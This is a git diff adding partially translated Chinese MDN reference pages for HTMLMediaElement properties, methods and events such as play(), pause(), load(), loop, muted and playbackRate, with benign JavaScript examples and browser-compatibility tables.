The pitch of the audio is corrected by default and is the same for every speed. Some browsers implement the non-standard preservespitch property to control this.

+
played {{readonlyinline}}{{ domxref("TimeRanges") }}媒体可被播放的范围。
preload{{ domxref("DOMString") }}Reflects the {{ htmlattrxref("preload", "video") }} HTML attribute, indicating what data should be preloaded, if any. Possible values are: none, metadata, auto. See {{ htmlattrxref("preload", "video") }} attribute documentation for details.
readyState {{readonlyinline}}unsigned shortThe readiness state of the media. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
HAVE_NOTHING0No information is available about the media resource.
HAVE_METADATA1Enough of the media resource has been retrieved that the metadata attributes are initialized.  Seeking will no longer raise an exception.
HAVE_CURRENT_DATA2Data is available for the current playback position, but not enough to actually play more than one frame.
HAVE_FUTURE_DATA3Data for the current playback position as well as for at least a little bit of time into the future is available (in other words, at least two frames of video, for example).
HAVE_ENOUGH_DATA4Enough data is available—and the download rate is high enough—that the media can be played through to the end without interruption.
+
seekable {{readonlyinline}}{{ domxref("TimeRanges") }}The time ranges that the user is able to seek to, if any.
seeking {{readonlyinline}}{{domxref("Boolean")}}Indicates whether the media is in the process of seeking to a new position.
sinkId {{readonlyinline}}{{experimental_inline}}{{domxref("DOMString")}}The unique ID of the audio device delivering output, or an empty string if it is using the user agent default. This ID should be one of the MediaDeviceInfo.deviceid values returned from {{domxref("MediaDevices.enumeratedDevices()")}}, id-multimedia, or id-communications.
src{{ domxref("DOMString") }}Reflects the {{ htmlattrxref("src", "video") }} HTML attribute, containing the URL of a media resource to use. Gecko implements a similar functionality for streams: mozSrcObject.
textTracks{{domxref("TextTrackList")}}Represents the list of {{domxref("TextTrack")}} objects contained in the element.
videoTracks{{domxref("VideoTrackList")}}Represents the list of {{domxref("VideoTrack")}} objects contained in the element. +
+

Note: Yet Gecko supports only single track playback, and the parsing of tracks' metadata is only available for media with Ogg container foramt.

+
+
volumedouble表示音频的音量。值从0.0(静音)到1.0(最大音量)。
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name & ArgumentsReturnDescription
canPlayType(in {{ domxref("DOMString") }} type) +

{{ domxref("DOMString") }}

+ +
    +
  • probably: if the specified type appears to be playable.
  • +
  • maybe: if it's impossible to tell whether the type is playable without playing it.
  • +
  • The empty string: if the specified type definitely cannot be played.
  • +
+
Determines whether the specified media type can be played back. +
+

Note: Previously canPlayType('video/webm') returned 'probably'. Starting with Gecko 28 {{geckoRelease(28)}}, it returns 'maybe'. ({{ bug(884275) }})

+
+
fastSeek(double time)voidDirectly seek to the given time.
load()voidReset the media element and restart selecting the media resource.  Any pending events are discarded.  How much media data is fetched is still affected by the preload attribute.  This method can be useful for releasing resources after any src attribute and source element descendants have been removed.  Otherwise, it is usually unnecessary to use this method, unless required to rescan source element children after dynamic changes.
mozGetMetadata(){{ non-standard_inline() }}ObjectThe mozGetMetadata method returns a javascript object whose properties represent metadata from the playing media resource as {key: value} pairs. A separate copy of the data is returned each time the method is called.
+ This method must be called after the loadedmetadata event fires.
mozLoadFrom(HTMLMediaElement other){{ non-standard_inline() }} {{ deprecated_inline() }}voidThis method, available only in old Mozilla's implementation, loads data from another media element. This works similarly to load() except that instead of running the normal resource selection algorithm, the source is simply set to the other element's currentSrc.
+ This is optimized so this element gets access to all of the other element's cached and buffered data; in fact, the two elements share downloaded data so that data downloaded by either element is available to both.
pause()void暂停播放。
play()void开始播放。
setMediaKeys {{experimental_inline}}{{jsxref("Promise")}}Sets the {{domxref("MediaKeys")}} keys to use when decrypting media during playback.
setSinkId {{experimental_inline}}{{jsxref("Promise")}}Sets the ID of the audio device through which audio output should be rendered if the application is authorized to play out of a given device.
+ +

Events

+ +

Audio and Video elements can fire quite a few different events.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}{{Spec2('HTML5 W3C')}}Initial definition.
{{SpecName('Encrypted Media Extensions', '#introduction', 'Encrypted Media Extensions')}}{{Spec2('Encrypted Media Extensions')}}Adds {{domxref("MediaKeys")}},  {{domxref("MediaEncryptedEvent")}}, and setMediaKeys.
+ +

Browser compatibility

+ +

{{Compat("api.HTMLMediaElement")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/load/index.html b/files/zh-cn/web/api/htmlmediaelement/load/index.html new file mode 100644 index 0000000000..eb674466d9 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/load/index.html @@ -0,0 +1,74 @@ +--- +title: HTMLMediaElement.load() +slug: Web/API/HTMLMediaElement/load +translation_of: Web/API/HTMLMediaElement/load +--- +
{{APIRef("HTML DOM")}}
+ +

 load() 方法重置媒体成初始化状态,选择一个播放源, 为载入媒体重新播放做准备。 媒体预播放的信息是由 preload 这个参数决定的。

+ +

此方法只在对媒体做动态更改时管用,要么更改src属性,要么添加或删除source 。 load() 将会重置元素重新扫描可用的源,从而让改动生效。

+ +

语法

+ +
mediaElement.load();
+ +

参数

+ +

None.

+ +

返回值

+ +

undefined.

+ +

用法

+ +

调用 load() 会使媒体上所有正在进行的操作中止,然后根据 audio 或者 video 元素的 src 或者 source 属性里寻找合适的播放源并重新加载媒体内容。 更多查看  Supporting multiple formats 和 Video and audio content 。

+ +

The process of aborting any ongoing activities will cause any outstanding {{jsxref("Promise")}}s returned by {{domxref("HTMLMediaElement.play", "play()")}} being resolved or rejected as appropriate based on their status before the loading of new media can begin. Pending play promises are aborted with an "AbortError" {{domxref("DOMException")}}.

+ +

在load过程中 合适的事件会发生并通知给媒体本身,包括:

+ + + +

例子

+ +

例子中有一个 {{HTMLElement("video")}} 元素然后重置它 load().

+ +
var mediaElem = document.querySelector("video");
+mediaElem.load();
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "media.html#dom-media-load", "HTMLMediaElement.load()")}}{{Spec2('HTML WHATWG')}}Initial definition.
{{SpecName('HTML5 W3C', "semantics-embedded-content.html#dom-htmlmediaelement-load", "HTMLMediaElement.load()")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.load")}}

diff --git a/files/zh-cn/web/api/htmlmediaelement/loadeddata_event/index.html b/files/zh-cn/web/api/htmlmediaelement/loadeddata_event/index.html new file mode 100644 index 0000000000..a512174e22 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/loadeddata_event/index.html @@ -0,0 +1,80 @@ +--- +title: 'HTMLMediaElement: loadeddata' +slug: Web/API/HTMLMediaElement/loadeddata_event +translation_of: Web/API/HTMLMediaElement/loadeddata_event +--- +

loadeddata 事件在第一帧数据加载完成后触发。

+ +

基本信息

+ +
+
规范
+
HTML5 media
+
接口
+
Event
+
冒泡
+
No
+
可取消
+
No
+
目标
+
Element
+
默认行为
+
None.
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/zh-cn/web/api/htmlmediaelement/loadstart_event/index.html b/files/zh-cn/web/api/htmlmediaelement/loadstart_event/index.html new file mode 100644 index 0000000000..189a2e97ad --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/loadstart_event/index.html @@ -0,0 +1,155 @@ +--- +title: 'HTMLMediaElement: loadstart event' +slug: Web/API/HTMLMediaElement/loadstart_event +translation_of: Web/API/HTMLMediaElement/loadstart_event +--- +
{{APIRef}}
+ +

loadstart 事件当浏览器开始载入一个资源文件时fired.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
可撤销No
Interface{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers/onloadstart", "onloadstart")}}
+ +

Examples

+ +

Live example

+ +

HTML

+ +
<div class="example">
+
+    <button type="button">Load video</button>
+    <video controls width="250"></video>
+
+    <div class="event-log">
+        <label>Event log:</label>
+        <textarea readonly class="event-log-contents"></textarea>
+    </div>
+
+</div>
+ + + +

JS

+ +
const loadVideo = document.querySelector('button');
+const video = document.querySelector('video');
+const eventLog = document.querySelector('.event-log-contents');
+let source = null;
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}\n`;
+}
+
+video.addEventListener('loadstart', handleEvent);
+video.addEventListener('progress', handleEvent);
+video.addEventListener('canplay', handleEvent);
+video.addEventListener('canplaythrough', handleEvent);
+
+loadVideo.addEventListener('click', () => {
+
+    if (source) {
+        document.location.reload();
+    } else {
+        loadVideo.textContent = "Reset example";
+        source = document.createElement('source');
+        source.setAttribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm');
+        source.setAttribute('type', 'video/webm');
+
+        video.appendChild(source);
+    }
+});
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '200px') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "media.html#event-media-loadstart", "loadstart media event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-loadstart", "loadstart media event")}}{{Spec2('HTML5 W3C')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLMediaElement.loadstart_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/loop/index.html b/files/zh-cn/web/api/htmlmediaelement/loop/index.html new file mode 100644 index 0000000000..f53af6a025 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/loop/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLMediaElement.loop +slug: Web/API/HTMLMediaElement/loop +translation_of: Web/API/HTMLMediaElement/loop +--- +
{{APIRef("HTML DOM")}}
+ +
 
+ +
HTMLMediaElement.loop 属性是 HTML 标签 {{htmlattrxref("loop", "video")}} 属性的映射,它决定了媒体元素播放结束时是否重新开始。
+ +
 
+ +
+

原文:The HTMLMediaElement.loop property reflects the {{htmlattrxref("loop", "video")}} HTML attribute, which controls whether the media element should start over when it reaches the end.

+
+ +

语法

+ +
var loop = video.loop;
+audio.loop = true;
+
+ +

返回值

+ +

一个布尔值 {{domxref("Boolean")}}.

+ +

示例

+ +
var obj = document.createElement('video');
+obj.loop = true; // true
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.loop")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.loop")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
loop property{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("11.0")}}{{CompatIE("9")}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
loop property{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("11.0")}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/muted/index.html b/files/zh-cn/web/api/htmlmediaelement/muted/index.html new file mode 100644 index 0000000000..402a057324 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/muted/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLMediaElement.muted +slug: Web/API/HTMLMediaElement/muted +translation_of: Web/API/HTMLMediaElement/muted +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.muted 表示媒体元素是否被静音。

+ +

Syntax

+ +
var isMuted = audioOrVideo.muted
+audio.muted = true;
+ +

Value

+ +

A {{domxref("Boolean")}}. true 表示被静音, false 表示未被静音。

+ +

Example

+ +
var obj = document.createElement('video');
+console.log(obj.muted); // false
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-media-muted", "HTMLMediaElement.muted")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.muted")}}{{Spec2('HTML5 W3C')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLMediaElement.muted")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/networkstate/index.html b/files/zh-cn/web/api/htmlmediaelement/networkstate/index.html new file mode 100644 index 0000000000..09164c8b35 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/networkstate/index.html @@ -0,0 +1,161 @@ +--- +title: HTMLMediaElement.networkState +slug: Web/API/HTMLMediaElement/networkState +tags: + - API + - HTML DOM + - Web + - 只读 + - 属性 +translation_of: Web/API/HTMLMediaElement/networkState +--- +
{{APIRef("HTML DOM")}}
+ +

 HTMLMediaElement.networkState 属性表示在网络上获取媒体的当前状态。

+ +

语法

+ +
var networkState = audioOrVideo.networkState;
+ +

取值

+ +

一个 unsigned short。可能的值包括:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量 值 描述
NETWORK_EMPTY0还没有数据。并且 readyState 的值是 HAVE_NOTHING
NETWORK_IDLE1HTMLMediaElement 是有效的并且已经选择了一个资源,,但是还没有使用网络。
NETWORK_LOADING2浏览器正在下载 HTMLMediaElement 数据。
NETWORK_NO_SOURCE3没有找到 HTMLMediaElement src。
+ +

例子

+ +

这个例子监听audio元素以开始播放,然后检查是否仍然在加载数据。

+ +
<audio id="example" preload="auto">
+ <source src="sound.ogg" type="audio/ogg" />
+</audio>
+
+
+ +
var obj = document.getElementById('example');
+
+obj.addEventListener('playing', function() {
+
+  if (obj.networkState === 2) {
+    // Still loading...
+  }
+
+});
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.networkState")}}{{Spec2('HTML WHATWG')}}未对 {{SpecName('HTML5 W3C')}} 更改
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.networkState")}}{{Spec2('HTML5 W3C')}}初始定义。
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}} [1]{{CompatIE("9")}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1]  NETWORK_LOADED 已被移除以与Gecko 2.0的HTML规范一致。{{geckoRelease(2)}}. 

+ +

另见

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/onerror/index.html b/files/zh-cn/web/api/htmlmediaelement/onerror/index.html new file mode 100644 index 0000000000..8589fdd95a --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/onerror/index.html @@ -0,0 +1,48 @@ +--- +title: HTMLMediaElement.onerror +slug: Web/API/HTMLMediaElement/onerror +translation_of: Web/API/HTMLMediaElement/onerror +--- +
{{APIRef("HTML DOM")}}
+ +

The onerror property of the {{domxref("HTMLMediaElement")}} interface is the {{domxref("EventHandler")}} for processing {{event("error")}} events.

+ +

The error event fires when some form of error occurs while attempting to load or perform the media.

+ +

语法

+ +
HTMLMediaElement.onerror = EventListener;
+ +

Value

+ +

A {{jsxref("function")}} which serves as the event handler for the {{event("error")}} event. When an error occurs, the specified function will be called. If null, no error handler is in effect.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onerror','onerror')}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLMediaElement.onerror")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/pause/index.html b/files/zh-cn/web/api/htmlmediaelement/pause/index.html new file mode 100644 index 0000000000..75953aa012 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/pause/index.html @@ -0,0 +1,56 @@ +--- +title: HTMLMediaElement.pause() +slug: Web/API/HTMLMediaElement/pause +tags: + - 媒体 + - 视频 + - 音频 +translation_of: Web/API/HTMLMediaElement/pause +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLMediaElement.pause() 方法可用来暂停媒体的播放,如果媒体已经处于暂停状态,该方法没有效果.

+ +

语法

+ +
HTMLMediaElement.pause()
+ +

参数

+ +

无.

+ +

返回值

+ +

无.

+ +

异常

+ +

无.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'embedded-content.html#dom-media-pause', 'pause()')}}{{Spec2('HTML WHATWG')}}Initial definition; living specification.
{{SpecName('HTML5 W3C','embedded-content-0.html#dom-media-pause','pause()')}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.pause")}}

diff --git a/files/zh-cn/web/api/htmlmediaelement/pause_event/index.html b/files/zh-cn/web/api/htmlmediaelement/pause_event/index.html new file mode 100644 index 0000000000..824f4bb5ff --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/pause_event/index.html @@ -0,0 +1,127 @@ +--- +title: 'HTMLMediaElement: pause event' +slug: Web/API/HTMLMediaElement/pause_event +translation_of: Web/API/HTMLMediaElement/pause_event +--- +
{{APIRef("HTMLMediaElement")}}
+ +
+ +

当暂停媒体播放时 pause 事件触发, 并且媒体进入暂停状态,最常见的是通过pause()方法来触发。 当pause() 触发时pause状态只改变1次,并且媒体的pause变成 true

+ +

General info

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{DOMxRef("Event")}}
TargetElement
Default ActionNone
Event handler property{{domxref("GlobalEventHandlers.onpause")}}
SpecificationHTML5 media
+ +

例子

+ +

下面例子给媒体添加 pause 事件监听handler,然后事件发生时会给handler发送一个提醒信息

+ +

使用 addEventListener():

+ +
const video = document.querySelector('video');
+
+video.addEventListener('pause', (event) => {
+  console.log('The Boolean paused property is now true. Either the ' +
+  'pause() method was called or the autoplay attribute was toggled.');
+});
+ +

使用 onpause 事件监听属性:

+ +
const video = document.querySelector('video');
+
+video.onpause = (event) => {
+  console.log('The Boolean paused property is now true. Either the ' +
+  'pause() method was called or the autoplay attribute was toggled.');
+};
+ +

说明

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "media.html#event-media-pause", "pause media event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-pause", "pause media event")}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.pause_event")}}

+ +

相关事件

+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/paused/index.html b/files/zh-cn/web/api/htmlmediaelement/paused/index.html new file mode 100644 index 0000000000..3830dc9a7f --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/paused/index.html @@ -0,0 +1,104 @@ +--- +title: HTMLMediaElement.paused +slug: Web/API/HTMLMediaElement/paused +translation_of: Web/API/HTMLMediaElement/paused +--- +
{{APIRef("HTML DOM")}}
+ +

属性(只读)HTMLMediaElement.paused 告诉视频是否正在暂停

+ +

语法

+ +
var isPaused = audioOrVideo.paused
+ +

返回值

+ +

类型{{domxref("Boolean")}}. true暂停中 false 没有暂停

+ +

仅限暂停状态 因网络原因造成的缓冲状态仍然会告诉你不在暂停状态

+ +

例子

+ +
var obj = document.createElement('video');
+console.log(obj.paused); // true
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.paused")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.paused")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}} [1]{{CompatIE("9")}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参考文档

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/play/index.html b/files/zh-cn/web/api/htmlmediaelement/play/index.html new file mode 100644 index 0000000000..6f0b799471 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/play/index.html @@ -0,0 +1,134 @@ +--- +title: play() +slug: Web/API/HTMLMediaElement/play +tags: + - API + - HTMLMediaElement + - 参考 + - 媒体 + - 接口 + - 播放 + - 方法 + - 视频 + - 音频 +translation_of: Web/API/HTMLMediaElement/play +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLMediaElement.play() 方法会尝试播放媒体。这个方法返回一个 {{jsxref("Promise")}},当媒体成功开始播放时被解决(resolved)。当播放因为任何原因失败时,这个 promise 被拒绝(rejected)。

+ +

语法

+ +
let promise = HTMLMediaElement.play();
+ +

参数

+ +

+ +

返回值

+ +

 一个 {{jsxref("Promise")}},当媒体成功开始播放时被解决,当播放因为任何原因失败时则被被拒绝。

+ +
+

注意:旧版本的浏览器可能不会从 play() 返回值。

+
+ +

异常

+ +

当 promise 接收到一个异常名称作为其唯一输入参数时(相对于传统的异常抛出),promise 的拒绝处理程序会被调用。可能的异常如下:

+ +
+
NotAllowedError
+
用户代理(浏览器)或操作系统在当前上下文或当前情境下不允许媒体播放。例如,这会发生在浏览器要求用户显式按下播放按钮才播放媒体时。
+
NotSupportedError
+
媒体源(可能是{{domxref("MediaStream")}}、{{domxref("MediaSource")}}、{{domxref("Blob")}} 或 {{domxref("File")}} 等)不是一个支持的媒体格式。
+
+ +

也可能报告其他异常,取决于浏览器的实现细节,媒体播放器的实现等等。

+ +

使用说明

+ +

虽然“autoplay”这个词常常被用于描述当媒体加载完成时立即开始播放,浏览器的自动播放策略其实也应用于脚本驱动的媒体播放,包括调用 play()

+ +

如果 {{Glossary("user agent")}} 被设置为不允许自动或脚本驱动的媒体播放,调用 play() 会导致返回的 promise 被立即以 NotAllowedError 拒绝。网页应该对这种情况做好准备。举个例子,一个网页不应该假定播放已经自动开始而直接展示相应的用户界面,而应该在返回的 promise 被解决或拒绝后再更新用户界面。更多信息参见 {{anch("示例", "示例")}}。

+ +
+

注意:play() 方法可能会让用户被询问是否给予播放媒体的权限,这可能会使返回的 promise 延迟解决。你应该确保你的代码不需要即时响应。

+
+ +

关于自动播放和禁止自动播放的更多深度内容,参见我们的文章 Autoplay guide for media and Web Audio APIs

+ +

示例

+ +

这个例子展示了如何确认播放已经开始以及如何优雅地处理自动播放被禁止:

+ +
let videoElem = document.getElementById("video");
+let playButton = document.getElementById("playbutton");
+
+playButton.addEventListener("click", handlePlayButton, false);
+playVideo();
+
+async function playVideo() {
+  try {
+    await videoElem.play();
+    playButton.classList.add("playing");
+  } catch(err) {
+    playButton.classList.remove("playing");
+  }
+}
+
+function handlePlayButton() {
+  if (videoElem.paused) {
+    playVideo();
+  } else {
+    videoElem.pause();
+    playButton.classList.remove("playing");
+  }
+}
+ +

在这个例子中,视频的播放由 async playVideo() 函数控制。函数尝试播放视频,如果播放成功,将 playButton 元素的类名称设为 "playing"。如果播放失败,去除 playButton 元素的类名称,恢复其原来的样式。通过监视 play() 返回的 {{jsxref("Promise")}} 是被解决还是被拒绝以保证播放按钮的外观与实际的播放状态相匹配。

+ +

上述代码开始执行时,先获取 {{HTMLElement("video")}} 元素和用于切换播放、暂停的 {{HTMLElement("button")}} 元素的引用。在切换按钮上添加 {{event("click")}} 事件的处理程序。最后调用 playVideo() 尝试自动开始播放。

+ +

你可以在 这里 查看或修改这个例子。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'embedded-content.html#dom-media-play', 'play()')}}{{Spec2('HTML WHATWG')}}Initial definition; living specification.
{{SpecName('HTML5 W3C','embedded-content-0.html#playing-the-media-resource','play()')}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +
+

注意,WHATWG 版本和 W3C 版本的规范不一样(2016年4月20日),一个返回 {{jsxref("Promise")}},一个不返回。

+
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLMediaElement.play")}}

+ +

参见

+ + + +
diff --git a/files/zh-cn/web/api/htmlmediaelement/play_event/index.html b/files/zh-cn/web/api/htmlmediaelement/play_event/index.html new file mode 100644 index 0000000000..c9b39495fd --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/play_event/index.html @@ -0,0 +1,120 @@ +--- +title: 'HTMLMediaElement: play event' +slug: Web/API/HTMLMediaElement/play_event +translation_of: Web/API/HTMLMediaElement/play_event +--- +

{{APIRef("HTMLMediaElement")}}

+ +

当 paused 属性由 true 转换为 false 时触发 play 事件,事件触发原因一般为 play() 方法调用,或者 autoplay 标签设置。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{DOMxRef("Event")}}
TargetElement
Default ActionNone
Event handler property{{domxref("GlobalEventHandlers.onplay")}}
SpecificationHTML5 media
+ +

Examples

+ +

下方的例子监听了 HTMLMediaElement 标签的 play 事件,并且在事件触发后在控制台打印相应的信息。

+ +

Using addEventListener():

+ +
const video = document.querySelector('video');
+
+video.addEventListener('play', (event) => {
+  console.log('The Boolean paused property is now false. Either the ' +
+  'play() method was called or the autoplay attribute was toggled.');
+});
+ +

Using the onplay event handler property:

+ +
const video = document.querySelector('video');
+
+video.onplay = (event) => {
+  console.log('The Boolean paused property is now false. Either the ' +
+  'play() method was called or the autoplay attribute was toggled.');
+};
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "media.html#event-media-play", "play media event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-play", "play media event")}}{{Spec2('HTML5 W3C')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLMediaElement.play_event")}}

+ + + + + +

See Also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/playbackrate/index.html b/files/zh-cn/web/api/htmlmediaelement/playbackrate/index.html new file mode 100644 index 0000000000..35534bedba --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/playbackrate/index.html @@ -0,0 +1,65 @@ +--- +title: HTMLMediaElement.playbackRate +slug: Web/API/HTMLMediaElement/playbackRate +tags: + - API + - HTML DOM + - HTMLMediaElement + - Property +translation_of: Web/API/HTMLMediaElement/playbackRate +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.playbackRate 属性设置媒体文件播放时的速率。这用于实现让用户控制快放、慢放等。 正常播放速率乘以该值表示当前的播放速率,所以1.0表示一个正常的播放速率。

+ +

将 playbackRate 设为负值不可以实现倒播。

+ +

媒体文件倒着播放时,或者播放速率低于或高于浏览器内核规定的可用范围(比如,Gecko约定范围是0.25~5.0)时,播放过程将静音。

+ +

任意播放速率下,音频的音调将默认与其匹配。一些浏览器实现了非标准的 {{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}} 属性来进行音调控制。

+ +

语法

+ +
// video
+video.playbackRate = 1.5;
+// audio
+audio.playbackRate = 1.0;
+ +

赋值说明

+ +

浮点数1.0 是 "正常速度", 比 1.0 小的值使媒体文件播放的慢于正常速度,比1.0大的值使播放变得快于正常速度.

+ +

示例

+ +
var obj = document.createElement('video');
+console.log(obj.playbackRate); // 1
+ + + + + + + + + + + + + + + + + + + +
特性StatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.playbackRate")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.playbackRate")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

